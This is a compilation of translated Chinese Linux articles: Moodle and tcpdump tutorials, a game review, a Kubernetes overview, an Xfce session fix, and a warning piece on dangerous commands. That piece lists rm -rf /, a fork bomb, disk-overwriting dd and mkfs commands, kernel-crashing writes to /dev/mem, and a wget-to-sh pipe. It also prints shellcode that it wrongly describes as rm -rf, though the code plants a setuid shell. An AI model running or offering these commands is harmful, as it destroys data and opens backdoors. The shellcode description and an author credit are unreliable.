2018年1月

这是一篇关于如何在 Ubuntu 16.04 上安装 Moodle (“魔灯”)的逐步指南。Moodle ( 模块化面向对象动态学习环境 Modular-object-oriented dynamic learning environment 的缩写)是一种自由而开源的学习管理系统,为教师、学生和管理员提供个性化的学习环境。Moodle 由 Moodle 项目创建,由 Moodle 总部统一领导和协调。

Moodle 有很多非常实用的功能,比如:

  • 现代和易于使用的界面
  • 个性化仪表盘
  • 协作工具和活动
  • 一体式日历
  • 简单的文本编辑器
  • 进度跟踪
  • 公告
  • 不胜枚举…

在本教程中,我们将指导您在 Ubuntu 16.04 VPS 上利用 Apache web 服务器、MySQL 和 PHP 7 安装最新版本的 Moodle。(LCTT 译注:在 Ubuntu 的后继版本上的安装也类似。)

1、 通过 SSH 登录

首先,利用 root 用户通过 SSH 登录到 Ubuntu 16.04 VPS:

ssh root@IP_Address -p Port_number

2、 更新操作系统软件包

运行以下命令更新系统软件包并安装一些依赖软件:

apt-get update && apt-get upgrade
apt-get install git-core graphviz aspell

3、 安装 Apache Web 服务器

利用下面命令,从 Ubuntu 软件仓库安装 Apache Web 服务器:

apt-get install apache2

4、 启动 Apache Web 服务器

一旦安装完毕,启动 Apache 并使它能够在系统启动时自动启动,利用下面命令:

systemctl enable apache2

5、 安装 PHP 7

接下来,我们将安装 PHP 7 和 Moodle 所需的一些额外的 PHP 模块,命令是:

apt-get install php7.0 libapache2-mod-php7.0 php7.0-pspell php7.0-curl php7.0-gd php7.0-intl php7.0-mysql php7.0-xml php7.0-xmlrpc php7.0-ldap php7.0-zip

6、 安装和配置 MySQL 数据库服务器

Moodle 将大部分数据存储在数据库中,所以我们将利用以下命令安装 MySQL 数据库服务器:

apt-get install mysql-client mysql-server

安装完成后,运行 mysql_secure_installation 脚本配置 MySQL 的 root 密码以确保 MySQL 安全。

root 用户登录到 MySQL 服务器,并为 Moodle 创建一个数据库以及能访问它的用户,以下是具体操作指令:

mysql -u root -p
mysql> CREATE DATABASE moodle;
mysql> GRANT ALL PRIVILEGES ON moodle.* TO 'moodleuser'@'localhost' IDENTIFIED BY 'PASSWORD';
mysql> FLUSH PRIVILEGES;
mysql> \q

一定要记得将上述 PASSWORD 替换成一个安全性强的密码。

7、 从 GitHub 仓库获取 Moodle

接下来,切换当前工作目录,并从 GitHub 官方仓库中复制 Moodle:

cd /var/www/html/
git clone https://github.com/moodle/moodle.git

切换到 moodle 目录,检查所有可用的分支:

cd moodle/
git branch -a

选择最新稳定版本(当前是 MOODLE_34_STABLE ),运行以下命令告诉 git 哪个分支可以跟踪或使用:

git branch --track MOODLE_34_STABLE origin/MOODLE_34_STABLE

并切换至这个特定版本:

git checkout MOODLE_34_STABLE

Switched to branch 'MOODLE_34_STABLE'
Your branch is up-to-date with 'origin/MOODLE_34_STABLE'.

为存储 Moodle 数据创建目录:

mkdir /var/moodledata

正确设置其所有权和访问权限:

chown -R www-data:www-data /var/www/html/moodle
chown www-data:www-data /var/moodledata

8、 配置 Apache Web 服务器

使用以下内容为您的域名创建 Apache 虚拟主机:

nano /etc/apache2/sites-available/yourdomain.com.conf

    ServerAdmin [email protected]
    DocumentRoot /var/www/html/moodle
    ServerName yourdomain.com
    ServerAlias www.yourdomain.com

    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Order allow,deny
    allow from all

    ErrorLog /var/log/httpd/yourdomain.com-error_log
    CustomLog /var/log/httpd/yourdomain.com-access_log common

保存文件并启用虚拟主机:

a2ensite yourdomain.com

Enabling site yourdomain.com.
To activate the new configuration, you need to run:
 service apache2 reload

最后,重启 Apache Web 服务器,以使配置生效:

service apache2 reload

9、 接下来按照提示完成安装

现在,点击 “http://yourdomain.com”(LCTT 译注:在浏览器的地址栏里输入以上域名以访问 Apache WEB 服务器),按照提示完成 Moodle 的安装。有关如何配置和使用 Moodle 的更多信息,您可以查看其官方文档

如果您使用我们的优化的 Moodle 托管主机服务,您不必在 Ubuntu 16.04 上安装 Moodle,在这种情况下,您只需要求我们的专业 Linux 系统管理员在 Ubuntu 16.04 上安装和配置最新版本的 Moodle。他们将提供 24×7 及时响应的服务。(LCTT 译注:这是原文作者——一个主机托管商的广告~)

PS. 如果你喜欢这篇关于如何在 Ubuntu 16.04 上安装 Moodle 的帖子,请在社交网络上与你的朋友分享,或者留下你的回复。谢谢。


via: https://www.rosehosting.com/blog/how-to-install-moodle-on-ubuntu-16-04/

作者:RoseHosting 译者:stevenzdg988 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

tcpdump 是一个很常用的网络包分析工具,可以用来显示通过网络传输到本系统的 TCP/IP 以及其他网络的数据包。tcpdump 使用 libpcap 库来抓取网络报,这个库在几乎在所有的 Linux/Unix 中都有。

tcpdump 可以从网卡或之前创建的数据包文件中读取内容,也可以将包写入文件中以供后续使用。必须是 root 用户或者使用 sudo 特权来运行 tcpdump

在本文中,我们将会通过一些实例来演示如何使用 tcpdump 命令,但首先让我们来看看在各种 Linux 操作系统中是如何安装 tcpdump 的。

安装

tcpdump 默认在几乎所有的 Linux 发行版中都可用,但若你的 Linux 上没有的话,使用下面方法进行安装。

CentOS/RHEL

使用下面命令在 CentOS 和 RHEL 上安装 tcpdump

$ sudo yum install tcpdump*

Fedora

使用下面命令在 Fedora 上安装 tcpdump

$ dnf install tcpdump

Ubuntu/Debian/Linux Mint

在 Ubuntu/Debain/Linux Mint 上使用下面命令安装 tcpdump

$ apt-get install tcpdump

安装好 tcpdump 后,现在来看一些例子。

案例演示

从所有网卡中捕获数据包

运行下面命令来从所有网卡中捕获数据包:

$ tcpdump -i any

从指定网卡中捕获数据包

要从指定网卡中捕获数据包,运行:

$ tcpdump -i eth0

将捕获的包写入文件

使用 -w 选项将所有捕获的包写入文件:

$ tcpdump -i eth1 -w packets_file

读取之前产生的 tcpdump 文件

使用下面命令从之前创建的 tcpdump 文件中读取内容:

$ tcpdump -r packets_file

获取更多的包信息,并且以可读的形式显示时间戳

要获取更多的包信息同时以可读的形式显示时间戳,使用:

$ tcpdump -ttttnnvvS

查看整个网络的数据包

要获取整个网络的数据包,在终端执行下面命令:

$ tcpdump net 192.168.1.0/24

根据 IP 地址查看报文

要获取指定 IP 的数据包,不管是作为源地址还是目的地址,使用下面命令:

$ tcpdump host 192.168.1.100

要指定 IP 地址是源地址或是目的地址则使用:

$ tcpdump src 192.168.1.100
$ tcpdump dst 192.168.1.100

查看某个协议或端口号的数据包

要查看某个协议的数据包,运行下面命令:

$ tcpdump ssh

要捕获某个端口或一个范围的数据包,使用:

$ tcpdump port 22
$ tcpdump portrange 22-125

我们也可以与 srcdst 选项连用来捕获指定源端口或指定目的端口的报文。

我们还可以使用“与” (and&&)、“或” (or|| ) 和“非”(not!) 来将两个条件组合起来。当我们需要基于某些条件来分析网络报文是非常有用。

使用“与”

可以使用 and 或者符号 && 来将两个或多个条件组合起来。比如:

$ tcpdump src 192.168.1.100 && port 22 -w ssh_packets

使用“或”

“或”会检查是否匹配命令所列条件中的其中一条,像这样:

$ tcpdump src 192.168.1.100 or dst 192.168.1.50 && port 22 -w ssh_packets
$ tcpdump port 443 or 80 -w http_packets

使用“非”

当我们想表达不匹配某项条件时可以使用“非”,像这样:

$ tcpdump -i eth0 src port not 22

这会捕获 eth0 上除了 22 号端口的所有通讯。

我们的教程至此就结束了,在本教程中我们讲解了如何安装并使用 tcpdump 来捕获网络数据包。如有任何疑问或建议,欢迎留言。


via: http://linuxtechlab.com/learn-use-tcpdump-command-examples/

作者:Shusain 译者:lujun9972 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

巨洞冒险 Colossal Cave Adventure ,又名 ADVENT、Clossal Cave 或 Adventure,是八十年代初到九十年代末最受欢迎的基于文字的冒险游戏。这款游戏还作为史上第一款“ 互动小说 interactive fiction ”类游戏而闻名。在 1976 年,一个叫 Will Crowther 的程序员开发了这款游戏的一个早期版本,之后另一位叫 Don Woods 的程序员改进了这款游戏,为它添加了许多新元素,包括计分系统以及更多的幻想角色和场景。这款游戏最初是为 PDP-10 开发的,这是一种历史悠久的大型计算机。后来,它被移植到普通家用台式电脑上,比如 IBM PC 和 Commodore 64。游戏的最初版使用 Fortran 开发,之后在八十年代初它被微软加入到 MS-DOS 1.0 当中。

1995 年发布的最终版本 Adventure 2.5 从来没有可用于现代操作系统的安装包。它已经几乎绝版。万幸的是,在多年之后身为开源运动提倡者的 Eric Steven Raymond (ESR)得到了原作者们的同意之后将这款经典游戏移植到了现代操作系统上。他把这款游戏开源并将源代码以 “open-adventure” 之名托管在 GitLab 上。

你在这款游戏的主要目标是找到一个传言中藏有大量宝藏和金子的洞穴并活着离开它。玩家在这个虚拟洞穴中探索时可以获得分数。一共可获得的分数是 430 点。这款游戏的灵感主要来源于原作者 Will Crowther 丰富的洞穴探索的经历。他曾经经常在洞穴中冒险,特别是肯塔基州的 猛犸洞 Mammoth Cave 。因为游戏中的洞穴结构大体基于猛犸洞,你也许会注意到游戏中的场景和现实中的猛犸洞的相似之处。

安装巨洞冒险

Open Adventure 在 AUR 上有面对 Arch 系列操作系统的安装包。所以我们可以在 Arch Linux 或者像 Antergos 和 Manjaro Linux 等基于 Arch 的发行版上使用任何 AUR 辅助程序安装这款游戏。

使用 Pacaur

pacaur -S open-adventure

使用 Packer

packer -S open-adventure

使用 Yaourt

yaourt -S open-adventure

在其他 Linux 发行版上,你也许需要经过如下步骤来从源代码编译并安装这款游戏。

首先安装依赖项:

在 Debian 和 Ubuntu 上:

sudo apt-get install python3-yaml libedit-dev

在 Fedora 上:

sudo dnf install python3-PyYAML libedit-devel

你也可以使用 pip 来安装 PyYAML:

sudo pip3 install PyYAML

安装好依赖项之后,用以下命令从源代码编译并安装 open-adventure:

git clone https://gitlab.com/esr/open-adventure.git
make
make check

最后,运行 advent 程序开始游戏:

advent

Google Play 商店 上还有这款游戏的安卓版。

游戏说明

要开始游戏,只需在终端中输入这个命令:

advent

你会看到一个欢迎界面。按 y 来查看教程,或者按 n 来开始冒险之旅。

游戏在一个小砖房前面开始。玩家需要使用由一到两个简单的英语单词单词组成的命令来控制角色。要移动角色,只需输入 inoutenterexitbuildingforesteastwestnorthsouthupdown 等指令。

比如说,如果你输入 south 或者简写 s,游戏角色就会向当前位置的南方移动。注意每个单词只有前五个字母有效,所以当你需要输入更长的单词时需要使用缩写,比如要输入 northeast 时,只需输入 NE(大小写均可)。要输入 southeast 则使用 SE。要捡起物品,输入 pick。要进入一个建筑物或者其他的场景,输入 in。要从任何场景离开,输入 exit,诸如此类。当你遇到危险时你会受到警告。你也可以使用两个单词的短语作为命令,比如 eat fooddrink waterget lamplight lampkill snake 等等。你可以在任何时候输入 help 来显示游戏帮助。

我花了一整个下午来探索这款游戏。天哪,这真是段超级有趣、激动人心又紧张刺激的冒险体验!

我打通了许多关卡并在路上探索了各式各样的场景。我甚至找到了金子,还被一条蛇和一个矮人袭击过。我必须承认这款游戏真是非常让人上瘾,简直是最好的时间杀手。

如果你安全地带着财宝离开了洞穴,你会取得游戏胜利,并获得财宝全部的所有权。你在找到财宝的时候也会获得部分的奖励。要提前离开你的冒险,输入 quit。要暂停冒险,输入 suspend(或者 pausesave)。你可以在之后继续冒险。要看你现在的进展如何,输入 score。记住,被杀或者退出会导致丢分。

祝你们玩得开心!再见!


via: https://www.ostechnix.com/colossal-cave-adventure-famous-classic-text-based-adventure-game/

作者:SK 译者:yixunx 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

为什么选择 Docker 和 Kubernetes 呢?

容器允许我们构建、发布和运行分布式应用。它们使应用程序摆脱了机器限制,可以让我们以一定的方式创建一个复杂的应用程序。

使用容器编写应用程序可以使开发、QA 更加接近生产环境(如果你努力这样做的话)。通过这样做,可以更快地发布修改,并且可以更快地测试整个系统。

Docker 这个容器式平台就是为此为生,可以使软件独立于云提供商。

但是,即使使用容器,移植应用程序到任何一个云提供商(或私有云)所需的工作量也是不可忽视的。应用程序通常需要自动伸缩组、持久远程磁盘、自动发现等。但是每个云提供商都有不同的机制。如果你想使用这些功能,很快你就会变的依赖于云提供商。

这正是 Kubernetes 登场的时候。它是一个容器 编排 orchestration 系统,它允许您以一定的标准管理、缩放和部署应用程序的不同部分,并且成为其中的重要工具。它的可移植抽象层兼容主要云的提供商(Google Cloud,Amazon Web Services 和 Microsoft Azure 都支持 Kubernetes)。

可以这样想象一下应用程序、容器和 Kubernetes。应用程序可以视为一条身边的鲨鱼,它存在于海洋中(在这个例子中,海洋就是您的机器)。海洋中可能还有其他一些宝贵的东西,但是你不希望你的鲨鱼与小丑鱼有什么关系。所以需要把你的鲨鱼(你的应用程序)移动到一个密封的水族馆中(容器)。这很不错,但不是特别的健壮。你的水族馆可能会被打破,或者你想建立一个通道连接到其他鱼类生活的另一个水族馆。也许你想要许多这样的水族馆,以防需要清洁或维护……这正是应用 Kubernetes 集群的作用。

进化到 Kubernetes

主流云提供商对 Kubernetes 提供了支持,从开发环境到生产环境,它使您和您的团队能够更容易地拥有几乎相同的环境。这是因为 Kubernetes 不依赖专有软件、服务或基础设施。

事实上,您可以在您的机器中使用与生产环境相同的部件启动应用程序,从而缩小了开发和生产环境之间的差距。这使得开发人员更了解应用程序是如何构建在一起的,尽管他们可能只负责应用程序的一部分。这也使得在开发流程中的应用程序更容易的快速完成测试。

如何使用 Kubernetes 工作?

随着更多的人采用 Kubernetes,新的问题出现了;应该如何针对基于集群环境进行开发?假设有 3 个环境,开发、质量保证和生产, 他们如何适应 Kubernetes?这些环境之间仍然存在着差异,无论是在开发周期(例如:在运行中的应用程序中我的代码的变化上花费时间)还是与数据相关的(例如:我不应该在我的质量保证环境中测试生产数据,因为它里面有敏感信息)。

那么,我是否应该总是在 Kubernetes 集群中编码、构建映像、重新部署服务,在我编写代码时重新创建部署和服务?或者,我是否不应该尽力让我的开发环境也成为一个 Kubernetes 集群(或一组集群)呢?还是,我应该以混合方式工作?

用本地集群进行开发

如果继续我们之前的比喻,上图两边的洞表示当使其保持在一个开发集群中的同时修改应用程序的一种方式。这通常通过来实现

Kubernetes 系列

本 Kubernetes 系列资源是开源的,可以在这里找到: https://github.com/red-gate/ks

我们写这个系列作为以不同的方式构建软件的练习。我们试图约束自己在所有环境中都使用 Kubernetes,以便我们可以探索这些技术对数据和数据库的开发和管理造成影响。

这个系列从使用 Kubernetes 创建基本的 React 应用程序开始,并逐渐演变为能够覆盖我们更多开发需求的系列。最后,我们将覆盖所有应用程序的开发需求,并且理解在数据库生命周期中如何最好地迎合容器和集群。

以下是这个系列的前 5 部分:

  1. ks1:使用 Kubernetes 构建一个 React 应用程序
  2. ks2:使用 minikube 检测 React 代码的更改
  3. ks3:添加一个提供 API 的 Python Web 服务器
  4. ks4:使 minikube 检测 Python 代码的更改
  5. ks5:创建一个测试环境

本系列的第二部分将添加一个数据库,并尝试找出最好的方式来开发我们的应用程序。

通过在各种环境中运行 Kubernetes,我们被迫在解决新问题的同时也尽量保持开发周期。我们不断尝试 Kubernetes,并越来越习惯它。通过这样做,开发团队都可以对生产环境负责,这并不困难,因为所有环境(从开发到生产)都以相同的方式进行管理。

下一步是什么?

我们将通过整合数据库和练习来继续这个系列,以找到使用 Kubernetes 获得数据库生命周期的最佳体验方法。

这个 Kubernetes 系列是由 Redgate 研发部门 Foundry 提供。我们正在努力使数据和容器的管理变得更加容易,所以如果您正在处理数据和容器,我们希望听到您的意见,请直接联系我们的开发团队。 [email protected]


我们正在招聘。您是否有兴趣开发产品、创建未来技术 并采取类似创业的方法(没有风险)?看看我们的软件工程师 - 未来技术的角色吧,并阅读更多关于在 英国剑桥的 Redgate 工作的信息。


via: https://medium.com/ingeniouslysimple/adopting-kubernetes-step-by-step-f93093c13dfe

作者:santiago arias 译者:aiwhj 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

摘要:如果你发现 Xfce 会话不能保存窗口的位置,那么启用“登出时保存”,然后登出再重新登录一次,可能就能永久修复这个问题了(如果你想要保持相同的会话,再次登录时恢复的话)。 下面是详细内容。

我用 Xfce 作桌面有些年头了,但是每次重启后进入之前保存的会话时总会有问题出现。 登录后, 之前会话中保存的应用都会启动, 但是所有的工作区和窗口位置数据都会丢失, 导致所有应用都堆在默认工作区中,乱糟糟的。

多年来,很多人都报告过这个问题(Ubuntu、Xfce 以及 Red Hat 的 bug 追踪系统中都有登记)。 虽然 Xfce4.10 中已经修复过了一个相关 bug, 但是我用的 Xfce4.12 依然有这个问题。 如果不是我的其中一个系统能够正常的恢复各个窗口的位置,我几乎都要放弃找出问题的原因了(事实上我之前已经放弃过很多次了)。

今天,我深入对比了两个系统的不同点,最终解决了这个问题。 我现在就把结果写出来, 以防有人也遇到相同的问题。

提前的一些说明:

  1. 由于这个笔记本只有我在用,因此我几乎不登出我的 Xfce 会话。 我一般只是休眠然后唤醒,除非由于要对内核打补丁才进行重启, 或者由于某些改动损毁了休眠镜像导致系统从休眠中唤醒时卡住了而不得不重启。 另外,我也很少使用 Xfce 工具栏上的重启按钮重启;一般我只是运行一下 reboot
  2. 我会使用 xterm 和 Emacs, 这些不太复杂的 X 应用无法记住他们自己的窗口位置。

Xfce 将会话信息保存到主用户目录中的 .cache/sessions 目录中。在经过仔细检查后发现,在正常的系统中有两类文件存储在该目录中,而在非正常的系统中,只有一类文件存在该目录下。

其中一类文件的名字类似 xfce4-session-hostname:0 这样的,其中包含的内容类似下面这样的:

Client9_ClientId=2a654109b-e4d0-40e4-a910-e58717faa80b
Client9_Hostname=local/hostname
Client9_CloneCommand=xterm
Client9_RestartCommand=xterm,-xtsessionID,2a654109b-e4d0-40e4-a910-e58717faa80b
Client9_Program=xterm
Client9_UserId=user

这个文件记录了所有正在运行的程序。如果你进入“设置 -> 会话和启动”并清除会话缓存, 就会删掉这种文件。 当你保存当前会话时, 又会创建这种文件。 这就是 Xfce 知道要启动哪些应用的原因。 但是请注意,上面并没有包含任何窗口位置的信息。 (我还曾经以为可以根据会话 ID 来找到其他地方的一些相关信息,但是并没有)。

正常工作的系统在目录中还有另一类文件,名字类似 xfwm4-2d4c9d4cb-5f6b-41b4-b9d7-5cf7ac3d7e49.state 这样的。 其中文件内容类似下面这样:

[CLIENT] 0x200000f
[CLIENT_ID] 2a9e5b8ed-1851-4c11-82cf-e51710dcf733
[CLIENT_LEADER] 0x200000f
[RES_NAME] xterm
[RES_CLASS] XTerm
[WM_NAME] xterm
[WM_COMMAND] (1) "xterm"
[GEOMETRY] (860,35,817,1042)
[GEOMETRY-MAXIMIZED] (860,35,817,1042)
[SCREEN] 0
[DESK] 2
[FLAGS] 0x0

注意这里的 GEOMETRYDESK 记录的正是我们想要的窗口位置以及工作区号。因此不能保存窗口位置的原因就是因为缺少这个文件。

继续深入下去,我发现当你明确地手工保存会话时,之后保存第一个文件而不会保存第二个文件。 但是当登出保存会话时则会保存第二个文件。 因此, 我进入“设置 -> 会话和启动”中,在“通用”标签页中启用登出时自动保存会话, 然后登出后再进来, 然后, 第二个文件就出现了。 再然后我又关闭了登出时自动保存会话。(因为我一般在排好屏幕后就保存一个会话, 但是我不希望做出的改变也会影响到这个保存的会话, 如有必要我会明确地手工进行保存),现在我的窗口位置能够正常的恢复了。

这也解释了为什么有的人会有问题而有的人没有问题: 有的人可能一直都是用登出按钮重启,而有些人则是手工重启(或者仅仅是由于系统崩溃了才重启)。

顺带一提,这类问题, 以及为解决问题而付出的努力,正是我赞同为软件存储的状态文件编写 man 页或其他类似文档的原因。 为用户编写文档,不仅能帮助别人深入挖掘产生奇怪问题的原因, 也能让软件作者注意到软件中那些奇怪的东西, 比如将会话状态存储到两个独立的文件中去。


via: https://www.eyrie.org/~eagle/journal/2017-12/001.html

作者:J. R. R. Tolkien 译者:lujun9972 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出

当然,除非你想干掉你的机器。

蜘蛛侠有这样的一句信条,“权力越大,责任越大。” 对于 Linux 系统管理员们来说,这也是一种应当采用的明智态度。

不,真的,真心感谢 DevOps 的沟通协作和云编排技术,让一个 Linux 管理员不仅能掌控一台服务器,甚者能控制成千上万台服务器实例。只需要一个愚蠢的举动,你甚至可以毁掉一个价值数十亿美元的企业,就像 没有打补丁的 Apache Struts 一样。

如果不能跑在安全补丁之前,这将会带来一个远超过系统管理员工资水平的战略性业务问题。这里就有一些足以搞死 Linux 服务器的简单方式掌握在系统管理员手中。很容易想象到,只有新手才会犯这些错误,但是,我们需要了解的更多。

下列是一些著名的命令,任何拥有 root 权限的用户都能借助它们对服务器造成严重破坏。

警告:千万不要在生产环境运行这些命令,它们会危害你的系统。不要在家里尝试,也不要在办公室里测试。

那么,继续!

rm -rf /

想要干脆利落的毁掉一个 Linux 系统吗?你无法超越这个被誉为“史上最糟糕”的经典,它能删除一切,我说的是,能删除所有存在你系统里的内容!

和大多数 Linux 命令一样,rm 这个核心命令使用起来非常方便。即便是最顽固的文件它也能帮你删除。结合起后面两个参数理解 rm 指令时,你很容易陷入大麻烦:-r,强制递归删除所有子目录,-f,无需确认,强制删除所有只读文件。如果你在根目录运行这条指令,将清除整个驱动器上的所有数据。

如果你真这么干了,想想该怎么和老板解释吧!

现在,也许你会想,“我永远不会犯这么愚蠢的错误。”朋友,骄兵必败。吸取一下经验教训吧, 这个警示故事来自于一个系统管理员在 Reddit 上的帖子

我在 IT 界工作了很多年,但是今天,作为 Linux 系统 root 用户,我在错误的系统路径运行了 rm- f

长话短说,那天,我需要复制一大堆目录从一个目录到另一个目录,和你一样,我敲了几个 cp -R 去复制我需要的内容。

以我的聪明劲,我持续敲着上箭头,在命令记录中寻找可以复制使用的类似命令名,但是它们混杂在一大堆其他命令当中。

不管怎么说,我一边在 Skype、Slack 和 WhatsApp 的网页上打字,一边又和 Sage 通电话,注意力严重分散,我在敲入 rm -R ./videodir/* ../companyvideodirwith651vidsin/ 这样一条命令时神游物外。

然后,当文件化为乌有时其中也包括了公司的视频。幸运的是,在疯狂敲击 control -C 后,在删除太多文件之前,系统管理员中止了这条命令。但这是对你的警告:任何人都可能犯这样的错误。

事实上,绝大部分现代操作系统都会在你犯这些错误之前,用一段醒目的文字警告你。然而,如果你在连续敲击键盘时忙碌或是分心,你将会把你的系统键入一个黑洞。(LCTT 译注:幸运的是,可能在根目录下删除整个文件系统的人太多了额,后来 rm 默认禁止删除根目录,除非——你手动加上 --no-preserve-root 参数!)

这里有一些更为隐蔽的方式调用 rm -rf。思考一下下面的代码:

char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

这是什么?这是 16 进制的 rm -rf 写法。在你不明确这段代码之前,请千万不要运行这条命令!

fork 炸弹

既然我们讨论的都是些奇怪的代码,不妨思考一下这一行:

:(){ :|: & };:

对你来说,这可能看起来有些神秘,但是我看来,它就是那个臭名昭著的 Bash fork 炸弹。它会反复启动新的 Bash shell,直到你的系统资源消耗殆尽、系统崩溃。

不应该在最新的 Linux 系统上做这些操作。注意,我说的是不应该。我没有说不能。正确设置用户权限,Linux 系统能够阻止这些破坏性行为。通常用户仅限于分配使用机器可用内存。但是如果作为 root 用户的你运行了这行命令(或者它的变体 Bash fork 炸弹变体),你仍然可以反复虐待服务器,直到系统重启了。

垃圾数据重写硬盘

有时候你想彻底清除硬盘的数据,你应该使用 Darik's Boot and Nuke (DBAN) 工具去完成这项工作。

但是如果仅仅想让你的存储器乱套,那很简单:

任意命令 > /dev/hda

我说的“任意命令”,是指有输出的任意命令,比如:

ls -la > /dev/hda

……将目录列表通过管道送到你的主存储设备。给我 root 权限和足够的时间,就能覆盖整个硬盘设备。这是让你开始盲目恐慌的一天的好办法,或者,可以把它变成 职业禁入方式

擦除硬盘!

另一个一直受欢迎的擦除硬盘的方式是执行:

dd if=/dev/zero of=/dev/hda

你可以用这条命令写入数据到你的硬盘设备。dd 命令可以从特殊文件中获取无尽个 0 字符,并且将它全部写入你的设备。

可能现在听起来 /dev/zero 是个愚蠢的想法,但是它真的管用。比如说,你可以使用它来 用零清除未使用的分区空间。它能使分区的镜像压缩到更小,以便于数据传输或是存档使用。

在另一方面,它和 dd if=/dev/random of=/dev/hda 相近,除了能毁掉你的一天之外,不是一个好事。如果你运行了这个指令(千万不要),你的存储器会被随机数据覆盖。作为一个隐藏你要接管办公室咖啡机的秘密计划的半吊子方法,倒是不错,但是你可以使用 DBAN 工具去更好的完成你的任务。

/dev/null 的损失

也许因为数据珍贵,我们对备份的数据没有什么信心,确实很多“永远不要这样做!”的命令都会导致硬盘或其它存储仓库的数据被擦除。一个鲜明的实例:另一个毁灭你的存储设备的方式,运行 mv / /dev/null 或者 >mv /dev/null

在前一种情况下,你作为 root 用户,把整个磁盘数据都送进这个如饥似渴的 /dev/null。在后者,你仅仅把家目录喂给这个空空如也的仓库。任何一种情况下,除非还原备份,你再也不会再看见你的数据了。

见鬼,难道会计真的不需要最新的应收账款文件了吗?

格式化错了驱动器

有时候你需要使用这一条命令格式化驱动器:

mkfs.ext3 /dev/hda

……它会用 ext3 文件系统格式化主硬盘驱动器。别,请等一下!你正在格式化你的主驱动器!难道你不需要用它?

当你要格式化驱动器的时候,请务必加倍确认你正在格式化的分区是真的需要格式化的那块而不是你正在使用的那块,无论它们是 SSD、闪存盘还是其他氧化铁磁盘。

内核崩溃

一些 Linux 命令不能让你的机器长时间停机。然而,一些命令却可以导致内核崩溃。这些错误通常是由硬件问题引起的,但你也可以自己搞崩。

当你遭遇内核崩溃,重新启动系统你才可以恢复工作。在一些情况下,这只是有点小烦;在另一些情况下,这是一个大问题,比如说,高负荷运作下的生产环境。下面有一个案例:

dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem

这些都会导致内核崩溃。

绝不要运行你并不了解它功能的命令,它们都在提醒我…

提防未知脚本

年轻或是懒惰的系统管理员喜欢复制别人的脚本。何必重新重复造轮子?所以,他们找到了一个很酷的脚本,承诺会自动检查所有备份。他们就这样运行它:

wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh

这会下载该脚本,并将它送到 shell 上运行。很明确,别大惊小怪,对吧?不对。这个脚本也许已经被恶意软件感染。当然,一般来说 Linux 比大多数操作系统都要安全,但是如果你以 root 用户运行未知代码,什么都可能会发生。这种危害不仅在恶意软件上,脚本作者的愚蠢本身同样有害。你甚至可能会因为一个未调试的代码吃上一堑——由于你没有花时间去读它。

你认为你不会干那样的事?告诉我,所有那些 你在 Docker 里面运行的容器镜像在干什么?你知道它们到底在运行着什么吗?我见过太多的没有验证容器里面装着什么就运行它们的系统管理员。请不要和他们一样。

结束

这些故事背后的道理很简单。在你的 Linux 系统里,你有巨大的控制权。你几乎可以让你的服务器做任何事。但是在你使用你的权限的同时,请务必做认真的确认。如果你没有,你毁灭的不只是你的服务器,而是你的工作甚至是你的公司。像蜘蛛侠一样,负责任的使用你的权限。

我有没有遗漏什么?在 @sjvn@enterprisenxt 上告诉我哪些 Linux 命令在你的“绝不要运行!”的清单上。


via: https://www.hpe.com/us/en/insights/articles/the-linux-commands-you-should-never-use-1712.html

作者:Steven Vaughan-Nichols 译者:CYLeft 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出